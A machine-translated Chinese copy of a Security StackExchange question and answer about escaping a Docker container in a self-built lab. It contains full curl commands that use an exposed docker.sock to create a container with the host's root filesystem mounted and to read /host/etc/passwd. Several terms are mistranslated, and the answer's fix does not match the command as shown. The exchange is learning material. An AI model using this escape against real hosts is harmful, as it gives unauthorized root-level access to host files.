我在容器里,我试着学习从容器到主机的逃避。因此,我创建了一个易受攻击的环境,容器在容器中有‘/var/run/docker.sock’文件来进行API调用。
因此,我尝试创建一个容器,它将路径源/挂载到容器/host目录。/,因为它包含整个文件系统。
curl -X POST -H "Content-Type: application/json" --unix-socket /run/docker.sock -d '{"Image":"ubuntu:latest", "Cmd":["cat", "/host/etc/passwd"], "Mounts":[{"Type":"bind", "Source":"/", "Target":"/host"}]}' "http://localhost/containers/create?name=escaping"我启动集装箱
curl -X POST --unix-socket /run/docker.sock "http://localhost/containers/escaping/start"当我使用以下方法检查日志时
curl --output - --unix-socket /run/docker.sock "http://localhost/containers/escaping/logs?stdout=true"正如您所看到的,我在第一个命令中是猫/etc/passwd文件,所以我想我会得到主机文件的内容,但是当我检查内容时,这些是我运行CURL命令的第一个容器文件内容。
我在这里错过了什么?
发布于 2020-10-15 09:41:23
我首先要说的是,你用卷发而不是船坞CLI做这件事,对自己来说有点困难(不过,这是一件好事)
因此,我认为这里的问题是,您在容器中设置了cat'd /etc/passwd,而不是/host/etc/passwd --记住,您正在以/host作为基础挂载主机文件系统,因此您需要将该路径预先添加到您希望访问的任何文件。
https://security.stackexchange.com/questions/237987
复制相似问题